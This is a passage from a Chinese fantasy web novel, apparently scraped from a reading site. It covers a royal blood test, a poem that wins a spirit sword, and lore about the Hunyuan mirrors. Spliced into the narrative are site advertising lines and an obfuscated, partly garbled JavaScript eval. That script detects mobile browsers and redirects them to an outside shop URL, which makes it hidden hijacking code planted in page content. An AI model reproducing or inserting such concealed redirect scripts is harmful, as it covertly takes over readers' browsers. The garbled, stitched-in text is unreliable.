结果没有一滴血能与秦皇鲜血相融。 几人全都傻眼了。 秦皇,居然无后! 至于公主与皇子们是谁生的,丞相与太尉已经没心思调查了,皇帝重伤不治,濒死在即,又没有亲生骨肉,大秦的江山怎么办? 屋子里压抑无声,只有云缺的鼾声阵阵。 云缺都听见了, 知道三个皇子全不是秦皇的种,这种时候更得装睡了,睡得越香越好。 反正与我无关,这事儿跟我这个驸马可八竿子打不着。 只要你们不灭我口,我在这多睡两天也没问题。 左兰山将赢人志的血液取走,沉声道:“此劫,陛下怕是难渡了。” 赢人志这时灵机一动,道: “实在不行,去找景王!景王是父皇的九叔,他们的血肯定能融!” 景王这两个字一出,左兰山与龙桃的神色豁然一变。 丞相与太尉沉默不语,谁也没说话 ,全都沉着脸。 赢人志察觉到气氛不对,急忙闭嘴,他忽然想起来景王这两个字是皇族的一份禁忌。 自从秦皇登基之后,那位曾经的九皇叔景王就被囚禁在皇宫之内,一晃二十多年,从来没人见过景王在何处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717625|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “景王,帮不上这个忙。左兰山沉声说了一句,没有任何解释。 龙桃犹豫着道:“左老头,你说太后那边…… 左兰山摇头道:“太后久病在床,本就没有多少气血,若失血过多,必定难以活命。 小说的域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 龙桃邹着眉道:“到底多少血能够? 左兰山叹气道:“我问过御医,以陛下的状态,十斤怕是都不够。 龙桃抽了口冷气,就太后的身子骨儿,别说十斤,抽二两恐怕就得归西。 “我就不信了,再试一次!龙桃挽起袖子,开始挨个取血。 从宁玉公主到三位皇子,四个人的血液又重新在铜盘里试了一次。 结果与之前一样。 根本不融! 过了半晌,左兰山声音沙哑的道: “大血滴子,或许当真坏了。 丞相实在没了办法,只能找个借口,将这件事暂时拖下去。 “对!我就说这玩意是坏的,你看,不好使了吧!龙桃心领神会的道:“你这老鬼办事就是不稳妥,弄个假货回来坑人,来来来,我试试! 说着龙桃自己取了一滴血,投入铜盘。 肯定不融,他和秦皇要是有血缘关系,那就出鬼了。 “左老头你也来试试,咱们都试一遍,都不融,就是大血滴子坏了! 龙桃抓着左兰山的手,强行取出一滴血放入铜盘。 与他一样,丞相的血也不融。 这时云缺打了个哈欠,抻着懒腰站起来,睡眼朦胧的道: “好困呐,没什么事儿的话,我先回去睡觉了…… 此时不溜更待何时! 云缺估计再等一会儿说不定出什么大事,以丞相的狠辣手段,没准把太后血祭了都有可能。 毕竟比起皇帝,死个太后,对大秦来说损伤最小。 不过之后秦皇会不会翻脸,那云缺就猜不出来了。 儿女不是亲生的,老娘肯 不会是假的,秦皇在世上应该只剩太后一个亲人。 察觉到容易被牵连,云缺这才装作睡醒,赶紧抽身。 没等走呢,云缺被太尉一把抓住。 “先别走!你也来试试,我就说这玩意是坏的。 不管云缺愿不愿意,龙桃直接动用二品之力,硬是从云缺手指上取出一滴血来。 云缺也没反抗。 心说取就取吧,演戏演全套,等你们有了台阶下,我可先走为敬了,说什么也不能留在这。 对于秦皇混乱的家事,云缺一点都不想掺和,离得越远越好! 血滴落入铜盘之后,也与大皇子等人一样,靠着铜盘边缘旋转。 云缺瞄了一眼, 心说我的血怎么可能跟秦皇融合,一头羊还能生出来个牛犊子不成,浪费我血…… 正打算就此离开,云缺发现旁边的太尉和丞相模样古怪。 两位当朝重臣同样的姿态,张着大嘴,瞪着眼睛盯着铜盘,一副见鬼了的模样。 再看大皇子等人,也是同样的神色。 云缺甚至听到了赢人志由于张嘴的力道太大,下巴脱臼的声音。 疑惑中,云缺将目光落向铜盘。 在云缺眼前,自己的那滴鲜血正在缓慢的朝着铜盘中心靠近。 越来越近,直至两滴鲜血完全融合在一处…… 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第637章 彻底疯狂 这下云缺也傻眼了。 这什么意思,我是秦皇生的? 怎么可能! 屋子里的几人呆若木鸡,好半天没人说话。 两滴血彻底融合在一起,在中心缓慢的旋转,铜盘仿佛变成了一个漩涡,期待着新的血液到来。 云缺最先清醒过来,心说糟了。 先不管自己与秦皇有何关联,两滴血一旦融合,预示着自己要被放血啊! 云缺故作镇定,敲了敲大血滴子道: “太尉所言不假,这玩意真坏了,咱们再想想其他办法,要不去找太后求点血来,要不换个新的大血滴子重新验,我有点晕血,这便告辞回去休息……” 云缺说完转身就开溜。 刚到门口,发现大门被一道厚重的冰墙封死。 再一扭头, 身边左右全都是龙桃的身影,有的抓胳膊,有的抓腿,有的抱腰,还有个龙桃骑在自己脖子上抓头发。 丞相动用法术,太尉动用影身,这两个老家伙已经彻底疯狂。 “松手!松手啊!我不走还不行吗!放开我的第三条腿啊!” 好一阵混乱之后,屋子里安静下来。 云缺坐在椅子上,周围是一圈脸。 太尉,丞相,皇子们仿佛在看着什么稀世的奇兽般,目光中除了震惊之外还充满了迷茫疑惑。 左兰山咬牙切齿的问道:“你到底是谁生的?” 能让当世大儒用街边闲汉般的语气质问,可见此时丞相已经把文气全都抛于脑后。 龙桃更加干脆,道: “私生子!一定是陛下的私生子!这下好了,陛下终于有后……哎呀!左老头你踩我作甚!” 龙桃被狠狠踩了一脚后,回过神儿来,周围还有皇子公主呢,如果云缺真是秦皇之后,那么在场的大皇子等人何其尴尬。 云缺一脸无奈,指着大血滴子道: “两位大人,你们不觉得应该是这玩意的问题吗,大血滴子肯定是坏的呀!再不就是丞相大人拿回来个假货。” “我是驸马,我怎么可能与陛下有血缘关系!谁家老丈人和姑爷是亲父子,风马牛不相及啊!” “咱们还是赶紧验一验大血滴子,看看毛病出在何处,能修就修,修不成赶紧换一个。” 云缺这边在解释,眼睛却瞄着铜盘里的血珠。 其实云缺心里也在犯嘀咕。 大血滴子应该没问题,要不然刚才怎么连狗血都融了呢。 但自己不可能与秦皇是父子,这一点不会有错,云长吉苦心多年设下的偷天换日之计,岂能在刚开始就被秦皇摘了桃子。 左兰山沉着脸道: “法器没问题,老夫感知过多次,你的血既然能与陛下相融,说明你与陛下有着绝对的血缘关联,陛下能否逃过此劫,看你的血,够不够用了。” 云缺一听就不干了。 我可是驸马啊,你们赢家拿我当牛马也就算了,怎么还得当僵尸啊! 血没了,我也活不成! “丞相大人此言差矣。” 云缺神色凝重的道:“这法器一定出了故障,否则几位皇子与公主的血,又岂能不与陛下相融,难道丞相大人认为,三位皇子与宁玉公主,都不是陛下亲生的吗。” 对付丞相这种老狐狸,云缺是有经验的。 既然你要坑我,那咱们就挑明,直接撕破脸,反正我不要脸,看看你们赢氏皇族要不要脸。 果然,左兰山闻听此言,脸色就是一变,一时间无法反驳。 云缺这招用的高明。 大血滴子要是没坏,那秦皇与皇子之间就没有任何血缘关系,这事儿太大了,传扬出去谁也担不起责任。 唯一的说辞只有一个,那就是大血滴子坏了,如此才能保住这层窗户纸。 左兰山气得直瞪眼,又无可奈何。 云缺翻着白眼儿一副无所畏惧的模样,我就耍赖了,能耐我何。 龙桃见要闹僵,在旁边打圆场,道: “要不这样,驸马先放点血出来,我们带回去给陛下试一试,不论灵不灵,肯定少不了驸马的好处!” “什么好处,先说清楚,要不然一滴血都没有!”云缺讨价还价道。 这次算是躲不过去了,只能将利益最大化,狠狠要一笔大的。 “老夫还有一份绝学,名为霸皇剑法,可衍化出百侯剑,千王剑,万皇剑,配合影身之法,可让影军的战力倍增!只要能治好陛下,这份绝学倾囊相赠,你看如何?”龙桃道。 一旁的左兰山为之动容。 他知道霸皇剑法才是龙桃真正的杀手锏,剑法不仅霸道强横,尤其能加强影军威能,一旦影身之法与霸皇剑法同时施展,同阶之下几乎没有对手,连他这位当世大儒都要退避三舍。 “太尉大人在少年城用的那种剑法?”云缺表现出感兴趣的神色。 少年城一战,龙桃对战房三,的确用出了一种惊人的剑道,只是当时云缺身陷绝境,没机会多看。 “没错!房家老祖的战力可不凡,可一旦老夫拼命,他不是对手!”龙桃傲然道。 “霸皇剑法,我要了。”云缺点了点头,望向左兰山道:“丞相大人的好处,又是什么呢。” 左兰山差点被气死。 好处这东西,怎么还能轮流要吗? 颜面呢,廉耻呢,脸皮呢! 左兰山压了压火气,道: “老夫可以教你如何养出浩然剑,甚至可以教你归心剑的使用方式。” “换一个,我是武夫,不学儒道。”云缺直接拒绝。 开什么玩笑! 我儒家只有九品修为,你教我浩然剑? 那玩意不活个七八十岁估计养不出来。 左兰山愣了一下,没想到他的毕生绝学,人家嗤之以鼻。 深吸了几口气,左兰山尽力平复着心中怒火。 都说宰相肚子能撑船,这位大秦丞相其实以前也如此认为,可自从认识了云缺,左兰山的观念彻底扭转。 能撑船的宰相肚子,遇到眼前这个没脸没皮的主儿,早晚也有撑爆的一天! “老夫可以送你一幅真迹……” 左兰山没说完就被云缺打断。 “真迹就免了,九儒楼里的大儒真迹,好像只剩我写的一幅了,其他九幅真迹嘛……呵呵。” 呵呵两个字,带着巨大的杀伤力。 左兰山的身子晃了晃,眼前开始发晕。 你就算直接开骂,说大儒真迹是泡屎,左兰山都不会如此状态,人家偏偏呵呵了两声,其中携带着无尽鄙夷,差点把左兰山气得原地升天。 “老夫家中有几个女儿,都送你好了!”左兰山被气得快糊涂了,怒声喝道。 没用云缺开口,旁边的龙桃撇嘴道: “就你那几个女儿,年轻时候的确都有些姿色,现在不行了,最小的一个好像都快五十岁了吧,送云缺干嘛,送他当妈啊。” “我都传授绝学了,左老头你也不能小气,要我说啊,把你的决云剑送给驸马好了,宝剑配武夫,正合适,文官嘛,用用笔墨纸砚就好了,用什么剑呐,驸马你说对不对啊。” 龙桃一边说,一边朝着云缺挤眼睛,示意的已经太过明显了。 云缺一听立刻心中一动,道: “我就要决云剑,名中有云,肯定与我有缘,多谢丞相赐剑!” 两人说双簧般配合,把左兰山听得想吐血。 决云剑啊,那是他的成名之宝! 年轻时的左兰山,就是手持决云剑,一路走过了尸山血海,最终达到如今的高度,成为一人之下万人之上的大秦丞相。 在少年城的时候,归心剑的本体或者说本质,其实就是决云剑。 以决云剑养文气,经历数十年岁月,左兰山才能动用更强的归心剑。 决云剑一旦送人,他想要施展归心剑不难,但是威能会相差百倍。 左兰山狠狠瞪了眼龙桃,犹豫良久,道: “能不能,换一个……” “不能!就要决云剑!有剑就有血,没剑怎么见血!没得商量!”云缺理直气壮的道。 左兰山又呼吸了好几口空气,强压怒火道: “好!决云剑送你也行,就看你与此剑是否有缘!给你七步的时间,你若能做出一首定剑诗,决云剑就是你的了!” 说罢左兰山一点手,屋子里闪烁起一道寒芒! 光晕消散, 现出了一把古朴而锋利的长剑,剑刃两侧均有一排云纹,剑光聚而不散,锋而不利,宛如恒古长存。 绝世好剑! 身为武夫,刀剑均为心头最爱,云缺是识货的,一打眼就知道此剑不凡。 绝对是极品程度的法宝! 而且被左兰山这位大儒强者蕴养多年,怕是早已通灵,威能更甚! 学会太尉的霸皇剑法,再拥有丞相的决云剑,云缺的战力必将倍增! 欣喜之余,云缺下意识的想要去碰决云剑。 这把宝刃犹如活物般,居然往后避开! 屋子里没有任何文气波动,左兰山拿出决云剑之后,根本没有动用。 如此异象,说明这把剑极其通灵,对外人刻意回避,不愿落入他人之手。 宝刃越是如此,云缺越是眼红,这把剑,他要定了! 云缺的心头高兴不已。 天上掉馅饼了,可得接好,作诗而已,于是张口就来:“剑风……” 刚刚说出两字,打算随口作个诗,糊弄过去。 云缺忽然看到左兰山的嘴角正在微微翘起,居然在暗暗冷笑。 不对! 云缺立刻闭嘴,不再随便作诗。 姜是老的辣,别看左兰山被气得不轻,这家伙可是个老狐狸。 想要得到决云剑,一定没那么简单。 第638章丞相太尉泼妇之战 左兰山的表情,让云缺完全冷静下来。 宝器有灵,如同野马,想要将其驯服,必须用尽心思。 决云剑在大秦丞相的文气之下蕴化多年,剑身一定充满了文气,普通诗词,恐怕难以降服。 一旦失败,左兰山就有理由将宝刃收回。 到时候云缺就是竹篮打水,一场空。 在心里暗骂了一句老狐狸,云缺反而轻松下来。 定剑诗而已,还能难得住拥有文殿的自己么,笔墨朝圣都可再现,小小诗词不值一提! 云缺一身轻松,随意走了三步。 七步诗,丞相定下的规矩。 七步之内,必须成诗,走得慢可以,但不能不走,其实时间很短,非常考验文采。 云缺自然不缺文采,浪费了三步根本无所谓,别说三步,只剩下最后一步也可轻松完成。 然而走了三步之后,云缺不走了,站在原地发呆。 定剑诗确实不难,因为云缺有文殿在识海。 可一旦动用不了文殿,又想要以一首诗来慑服当世大儒的宝刃,难如登天。 云缺的脸色变得有点难看。 文殿,打不开了! 倒不是完全打不开,至少云缺能推开个一人通行的空间,但是文殿里传出来的除了文气之外,还有着浓郁的巫神气息! 巫神被镇压在文殿,而文殿也失去了提供无尽文气的作用。 云缺微微张着嘴,目光一片茫然。 元神在识海里更是茫然无措。 眼前高大的文殿,依旧威严庄重,但是其力量,已经被用来镇压巫神碑。 云缺现在想要摄取文气,只能获得到夹杂着巫族气息的变异文气。 这种变异文气能让云缺随意施展儒家法术,但无法让云缺做出惊世之作。 自从巫神碑被镇压在文殿,云缺的文采,没了! 这下云缺没辙了。 眼看着天大的馅饼就在眼前,结果却吃不到,干眼馋! “停步只可在五息之内,七步之时,不走也算。” 左兰山发出略带嘲笑的声音,斜眼瞥着云缺。 身为大秦丞相,自然观察入微,他看出了云缺没什么底气,立刻烧了把火,催促一句。 云缺无奈,只能走出第四步。 依旧沉吟不语。 “快想啊!还有三步了!” 龙桃焦急道:“拿出你在九儒楼的文采,力压决云剑!你肯定能行!老夫看好你!” 龙桃替云缺着急,他越催,云缺脑子里越乱,别说诗词了,连四书五经都快忘个干净。 大皇子与二皇子看着悬在半空的长剑直咽口水。 即便败家子的赢人志,也眼睛发直。 但凡武夫,都能看得出这把剑的珍贵,谁不想拥有一件真正趁手的极品法宝。 武夫配神兵,战力将会暴增! 云缺强行将心头的慌乱压制,冷静下来,低语道: “挥剑……” 脑子里只冒出这两个字,就再无下文。 没有巫神碑的时候,云缺只要如此冥想,哪怕只有一个字,后边都会自动蹦出来连篇的佳作。 简直称得上文采飞扬。 现在不行了, 没了文殿之效,云缺只能靠着自己的脑子冥思苦想。 学问这东西,其实云缺也是有的。 小时候在庸医馆,七叔没少教授一些古言文章,诗词佳作。 如果时间充足,让云缺做出一首好诗,问题不大。 关键丞相太狡猾,定出七步诗的要求,必须在极短时间内完成,否则就失去了这次千载难逢的机会。 时间一到,云缺只好迈出第五步。 左兰山在旁边得意的道: “老夫这柄决云剑,采浮云山巅之石,融渭水河底之沙,取东离岛之万年不朽木,用西域戈壁下千年寒铁矿,耗时三年祭炼成功,又在大儒文气中蕴养一甲子,虽为法宝,亦是神兵!区区凡夫俗子,无缘得之!” 云缺气得咬牙切齿,恨不得一闷棍把左兰山敲迷糊,抢了宝刃就跑。 斗气这种事,很多时候都是相互的。 之前云缺占上风,丞相差点被气冒泡,现在反过来了,左兰山文绉绉的气云缺。 他把宝刃说得越详细,越珍贵,云缺就会越心急,越做不出来诗词。 “该第六步了。” 左兰山无比得意的提醒道。 云缺只好憋着气,又迈出一步。 已经六步,还差最后一步,若是再做不出诗词,这场天大的机缘就算擦肩而过。 这时公主府外传来马匹嘶鸣的响动,伴着一阵嘈杂。 听声音是马贩子路过,赶着不少马匹,遇到了熟人,在大声寒暄。 “钱老板的这批马不赖呀!个个膘肥体壮,肯定能卖个好价钱,从哪儿上的货?有工夫我也去捡点漏子!” “这你可捡不到喽,都是我从西边草原收来的,那边正是战乱,诸侯并起,打得凶着呢,差点没回来!” “钱老板这生意真不容易,钱都是拿命赚的啊!佩服佩服!” “养家糊口,没法子啊,晚上一起喝酒!” 嘈杂声很快远去,云缺听得真真切切,这时左兰山又催促了一句。 云缺迈出了第七步。 七步诗,到了必须成诗的时间,再做不出来,就算失败。 不过云缺此时目光清明,气势变得信心十足,与之前的茫然截然不同。 马贩子的一番对话,让云缺有了灵感。 “七步已到,看来驸马今日没什么文采,赠剑之事,就此作罢。” 左兰山说着就要收回他的宝贝。 “慢着!” 云缺昂首道:“方才有些饿了,想了想今晚吃什么饭菜,现在定了晚上吃什么,也该作诗了,丞相大人请竖起耳朵,听好了!” 左兰山也顾不得被骂竖起耳朵这种小事,沉着脸道: “洗耳恭听!” 云缺淡然一笑,张口吟道: “挥剑决浮云,诸侯尽西来,明断自天启,大略驾群才!” 此诗一出,屋子里摆在书架上的笔墨纸砚开始晃动不停,大有飞腾而起的征兆。 左兰山宽大的官袍开始无风自动,一身文气居然被一首诗所引动! 悬于半空的决云剑,更是异象大起,发出了龙啸般的轻吟之音! 云缺昂首而立,伸出右手,一震单臂轻喝道: “剑来!” 嗡!!! 决云剑自行震颤,飞入云缺手中。 握住这把剑的同时,云缺感受一股精纯到极致的气息顺着手腕涌入周身。 那是剑气,也是丞相耗时一甲子才蕴化出的浩然气! 这股浩然气其实对武夫是无效的,正常武夫也发挥不出浩然气的威能。 但云缺还有一个身份。 九品小儒修! 别看品阶最低,不足以完全掌握这股浩然气,但随着剑法的施展,浩然气的威能也会同时被激发一些。 一股畅快之感涌上心头,云缺挽了个剑花儿,随后翻手挥剑,直指窗外蔚蓝的天穹! 翩翩少年郎,意气正飞扬。 胸怀凌云志,笑看世沧桑! 云缺持剑问天的姿态,看得小公主眼睛发直,小脸儿上满是崇拜之色。 “驸马,好帅呀……” 赢霏雨痴迷着呢喃,她觉得刚刚拥有的木灵之心,跳得更快了。 大皇子赞许道:“气势不凡,文采斐然!果然是少年王啊,驸马持剑比用刀多了儒雅之气,更像王者。” 赢人志嘀咕道:“我还是觉得他用刀的时候比较威风,像个屠夫……” 左兰山目瞪口呆。 看着自己的宝剑落入他人之手,还被定剑诗直接慑服,一时间这位大秦丞相的心里五味杂陈,不是个滋味。 这把决云剑他带了一辈子! 感情之深厚,远远超过自家夫人甚至子女。 决云剑对左兰山来说,就像年长老者眼里的大孙子,无比疼爱,含在嘴里怕化了,捧在手心怕掉了,恨不得天天顶在脑袋上,走到哪带到哪。 今天倒好,宝贝大孙子跟别人走了…… 甚至都没回头看他这个爷爷一眼…… 作孽呀!!! 左兰山眼圈发红,心里直骂自己。 活了这么多年,怎么就不长记性呢! 那小子能力压九儒,肯定能慑服决云剑啊! 比什么文采,还不如比拳脚! 至少二品大儒的拳脚功夫,未必斗不过四品破军! “挥剑决浮云,诸侯尽西来,明断自天启,大略驾群才……好诗啊……” 一声喟然长叹,左兰山算服气了,苦笑了一声,自嘲道:“苍穹不负少年意,岁月不枉赶路人,决云剑,就该是他的啊。” 一旁的龙桃凑了过来,嘻嘻笑道: “八旬老丞不辞劳,为做嫁裳日夜熬,熬来熬去剑没了,此生无悔乐陶陶,嘿嘿,丞相大人,你瞧我这首定剑诗怎么样,没用七步,两步就做出来了!” 左兰山原本已经释然了,一听太尉的嘲讽,顿时气不打一处来。 “你这叫定剑诗?你这就是贱诗!” 说着左兰山伸出双手抓住龙桃的脑袋,贴脸大吼道:“给我滚远点!!!!!” 龙桃被喷了一脸的唾沫星子。 他吧唧吧唧嘴,呕一声差点没吐出来。 “你个老鬼敢喷我口水!老子堂堂太尉,不比你官职低!让我滚?你才该滚!” “文上武下,老夫在你上边!我乐意让你滚!你就得滚!” “滚你姥姥!要滚咱俩一起滚!挠死你个老不休!” “你敢挠老夫的脸?老夫和你拼了!” 屋子里,乱作一团。 云缺与几位皇子看得眼睛发直,瞠目结舌。 谁见过大秦当朝丞相与太尉薅头发,撕裤子,互喷口水,犹如泼妇般厮打的场面? 云缺看到了…… 实在辣眼睛…… 第639章 有得有失 大皇子与三皇子好不容易将两人拉开。 丞相与太尉各自坐在屋子两侧,气呼呼的怒视着对方。 趁着两人打架的工夫,云缺已经将决云剑收进储物袋。 收起来之前不放心,特意切开手指,往剑身上洒了二两血。 染了我的血,就是我的剑,谁敢抢我就拼命! 重宝到手,云缺心情大好,脑海里浮现出自己左手刀右手剑,身旁左右无数影军,大杀四方的恢弘画面。 正想好事儿呢,发现两只手里确实多了点东西。 低头一瞧,是两只老手。 左兰山与龙桃一左一右,两尊门神似的抓着云缺开始放血。 正好刚才切开的伤口还没愈合,旁边这俩老头下了狠手,一个动用大儒文气,一个动用不灭气机,两股力道压在云缺身上,只见伤口里的鲜血犹如喷泉般奔涌不息。 “行了行了!差不多行了!” 云缺奋力挣扎。 没用,俩老头看到血跟见到天下至宝似的,眼睛都是蓝的。 “快半斤了,行了吧!我也没多少血可用啊!” “一斤多了!别放了!再放我要贫血了!” “我不行了!我头晕!浑身没劲!你们是吸血鬼吗!” “救命啊!救命啊!!!” …… 半晌之后,云缺摇摇欲坠,脸色苍白。 眼前是一小盆鲜血,足足二斤多。 得了决云剑,失血二斤! 有得有失,也罢! 云缺觉得这笔买卖还是自己赚得大。 血而已,少就少点,咱们武夫气血旺盛,失血二斤,多吃几天大补的食材也就补回来了。 只不过云缺现在觉得浑身虚弱,眼前发花,看什么都重影。 两个丞相,两个太尉,好几个皇子…… 左兰山捧着鲜血,如获至宝,一张老脸却十分阴沉。 他环视着皇子与公主,沉声道: “几位殿下可以先回去了,今日之事,关乎重大,切记不可外传,否则难免会有杀身之祸!” 一句杀身之祸,惊得大皇子三皇子浑身一哆嗦。 皇子与公主的心情,此时无比复杂。 当了二十来年皇子,今天突然发现自己是冒牌货,是野种,如此打击,不亚于长大后的鸭子,发现自己一直住在狼窝里。 别说外传了,都不敢吭声,生怕被狼爹给一口吞了。 几人连忙保证不会外传。 赢财看了眼云缺,心里不是滋味。 真皇子,成了野种,结果人家假驸马,成了真儿子! 这叫什么事儿啊! 茶馆里的说书先生都编不出来这种奇葩剧情。 赢财与赢人志抬起二皇子的担架,临走前,赢财迟疑了一下,问道: “丞相大人,这件事,父皇是不是知道了?” 左兰山没回答。 他其实也拿不准。 如果皇帝知道了还算好的,至少以前没杀几位皇子,以后也应该不会杀掉。 可一旦皇帝不知情,那眼前的三位皇子与小公主,怕是难逃一死。 龙桃咳嗽了两声,道: “现在最重要的是救回陛下,以后的事,咱们慢慢再说,天无绝人之路嘛,几位殿下对陛下忠心耿耿,从无二心,我想陛下也会念在旧情,网开一面。” 赢财听完脸色变得更苦,知道是太尉在安慰人而已。 念旧情也分事儿啊。 这种事发生在皇家,哪个帝王会念旧情。 最是无情帝王家,身为大皇子的赢财哪能不清楚。 赢人志吓得眼泪都出来了,哀嚎道: “太尉大人!您可要给我们求求情啊!我就是个窝囊废,只会花钱,什么能耐都没有!养我和养狗是一样的!您跟父皇说说,让父皇留我一条狗命吧!呜呜呜……” 龙桃叹了口气,点头称好。 “哭什么!” 赢财喝斥道:“父皇养我们这么多年,我们就是赢家之人!赢家没有窝囊废,若父皇赐死,我第一个走!” 担架上的赢皓艰难的抬起手,虚弱道:“我第二……走之前,得先让我喝个够……” 这下赢人志哭得更伤心了。 只要不是傻子,都能看得出三位皇子接下来的命运。 活着,多么简单的愿望,但如今已经成为了奢望。 唯一镇定的,是宁玉公主。 小公主帮着她三哥一起抬起担架,道: “三位皇兄,我们先出去吧,父皇治病要紧,只要父皇能安然无恙,我死而无憾。” 见小公主如此豁达,赢财咬了咬牙,带着弟弟妹妹们,抬着担架离开了屋子。 屋门关好之后,屋子里只剩三人。 左兰山与龙桃的目光变了,看怪物般盯着云缺,看得云缺直发毛。 “他是……怎么生出来的呢?” “陛下好像没去过大晋那边。” “也许年轻时去过,我们不知道。” “莫非当真是风流债?有债就好,有债就好哇,就怕没债落个无后。” 云缺听得眼皮直跳,道: “我不是秦皇生的!我有爹!” 左兰山与龙桃的神色又变了,互相看了眼,纷纷安慰道。 “知道知道!你有爹,你还有娘呢,苦命的孩子啊。” “这下好了,大秦太子独苗一个,将来若是陛下再无子嗣,你准备接管仙武大秦吧。” 云缺没吭声,不过嘴巴动了动,看口型明显是骂街的话。 这俩老不休,说话忒难听! 我出生的经历就足够曲折了,云长吉和妖都之王一起合作啊,怎么那俩还不够,秦皇还来插一脚? 云缺气得很想把眼前这俩老东西痛扁一顿,不过还是忍住了。 俩二品,估计打不过。 容易被反打。 况且仙武大秦的太子,好像也不错…… 这个念头一冒出来,就被云缺立刻挥散。 不可能啊! 我不可能是秦皇的儿子,这事儿绝无可能! 左兰山对龙桃急声道: “你看住他!我这就去见陛下!” 说罢丞相急匆匆离去。 龙桃为了缓解尴尬,笑嘻嘻的道: “老夫说话算话!霸皇剑法这就传给你,云小子你可看好了,老夫亲自给你演练一番!” 说着就要施展功法,却被云缺给拦住。 “不急,我现在头晕眼花,记不住,我要吃饭,补一补……”云缺虚弱的道。 “成!我陪你一起吃,你说,想吃啥?”龙桃道。 “补血的全要!血肠、血豆腐、血辣子、血鸭、猪血糕,毛血旺,带血的都吃!我现在就想吃血!”云缺道。 龙桃立刻换来公主府的下人,做一桌补血的大菜。 云缺正饿呢,从昨晚到今天一直没吃饭,又被抽走二斤血,必须多吃点。 一顿风卷残云,云缺打着饱嗝开始品茶。 吃饱了,精神好多了。 武夫的体质,在所有派系的修行者当中最为强大,以云缺的体质和修为,失血二斤,小意思。 “对了太尉,怎么不用景王的血呢,陛下的亲叔叔,肯定血脉相连,如果二斤血不够用,我可不给了啊,找景王要去。”云缺道。 “景王的血,用不成的,我估计二斤差不多够了,不够你再多破费。”龙桃笑嘻嘻的道。 “再破费没命了!我就这么多血,多一滴都不给!景王肯定没死,你抽他血去!”云缺道。 “景王确实没死,但跟死了也差不多……唉。”龙桃叹息道。 “到底死还是没死,太尉大人最好跟我说清楚,否则我肯定不放血了。”云缺道。 龙桃犹豫了一下,叹气道: “既然你是陛下的独苗,大秦太子,这件事告诉你也无妨,但不能往外说啊。”龙桃道。 “放心吧太尉,我又不是大喇叭梅钱。”云缺道。 “梅钱是谁?”龙桃疑惑道。 “梅钱……是个有爹生没爹养的野种,坏得很,一辈子乞丐命,不提他,快说景王的事儿。”云缺道。 “景王,被陛下封印了。”龙桃道。 这种消息,云缺毫无意外,不过让云缺好奇的是,为何龙桃说景王的血无法使用。 “封印在哪里,莫非景王本体已经干枯?”云缺追问道。 “可以这么说,其实景王已经没有了本体,他被陛下封印在混元镜内,此生只能做那镜中人。”龙桃道。 “混元镜?是不是传闻中,金銮殿里的那块能偷窥全城妇人洗澡的宝镜?”云缺道。 “正是那块宝镜……什么叫偷窥全城洗澡!那是宝镜的神异之处!混元镜也叫三清神镜,是道尊遗留的至宝,总共三面,一面在陛下手里,一面在天一道宗,最后一面据说遗失在天澜宝境深处,尚未出世。” 提及天下至宝,龙桃打开了话匣子,摇头晃脑的讲述起来。 “混元镜得其一,便有平定山河之力,得其二,飞天遁地随处可去,若能三镜合一,组成真正的三清神镜,据说可以动用出超品之力!要不然天一道宗怎么将混元镜当做镇派之宝呢。” “不过有小道消息说,天一道宗里的那面混元镜,多年前已经丢失,不知被谁偷了去,这些年道宗派遣不少高手下山走动,就是为了寻找丢失的混元镜。” 龙桃的讲述,听得云缺心头微动。 去天澜宝境第一重的时候,云缺最后遇到了道宗的修士,对方在宝境里布置奇怪的法阵,不知有何用处。 如今看来,天一道宗有可能找到了天澜宝境里最后一面混元镜,正在提前布置。 这倒是个机会! 距离宝境二重开启只剩半年左右的时间,云缺是必定会去的,为了营救母亲。 若是顺便找到最后一面混元镜,那就收获颇丰了。 第640章 给我个国师能玩一年 龙桃提及的道宗,令云缺想起一位故人。 大晋国师,凌妙清。 下意识的捏了捏五指,云缺嘿嘿笑了笑。 国师不仅修为高强,美如天仙,手感那叫一个绝! 温润如玉,清雅如莲,简直是超级享受! 给我个国师,我能玩一年! “太尉大人,仔细给我讲讲混元镜,都有什么奇效?”云缺好奇道。 “三面混元镜,分别以天、地、龙命名,天镜拥有飞天之效,可直上九天,更可收纳万物,据说天上的白云也可收入其中!地镜可探地万里,万里之外的飞虫蝼蚁,一眼便知!拥有缩地成寸的能力,一步千里!” “至于龙镜嘛,没人知道有何威能,连样子都没人见过。” 龙桃摇头晃脑的讲述道: “道门至尊,超品强者的至宝,定是威能绝伦,无敌于天下!谁若能将三面神镜收集成功,融为一体,再现三清神镜的天威,怕不是要天下无敌喽。” 道尊之宝,必定威力惊人,但龙桃这番吹捧,云缺不屑一顾。 三清神镜再如何威力通天,它的主人还不是被儒圣给宰了…… “混元镜,是不是普通的镜子模样,我下次去天澜宝境也找找看,也许运气好能找到龙镜。”云缺道。 “不一定,天境在天一道宗,什么模样我没见过,陛下手里的是地镜,一人多高的古镜形态,道尊之物玄奥莫测,没出世之前未必就是镜子形态。” 龙桃捋着半短不长的小胡子,道: “也可能是一块光洁的石头,或者一块坚冰,一汪水,一条小溪,一只小狗,甚至是一条蛟龙!那等异宝,可不是运气好就能遇见的,陛下在得到地镜的时候,可是几次险死还生,差点搭上一条命!” “还有左老头的地动仪,一样耗费了半条命!真正的天地至宝,不仅带有巨大的危机,更蕴含着上古强者的因果之力,没有简单能获取的,哪怕是气运之子也难以收取。” “这么可怕啊,看来龙镜不好找啊……”云缺嘀咕了一句,心思全都放在道宗上次布置的奇怪法阵上面。 自己找不到龙镜,有人帮着找就行。 只要道宗能发现龙镜的线索,云缺自然可以捷足先登。 无主之宝,看谁手快而已。 这是规矩。 想着想着,云缺忽然目光一动。 以太尉所言,龙镜可能是很多种形态,猫狗猪猴,或者水流,乃至蛟龙。 想起水流和蛟龙,云缺立刻回忆起当时在天澜宝境里遇见的那条奇怪水蛇。 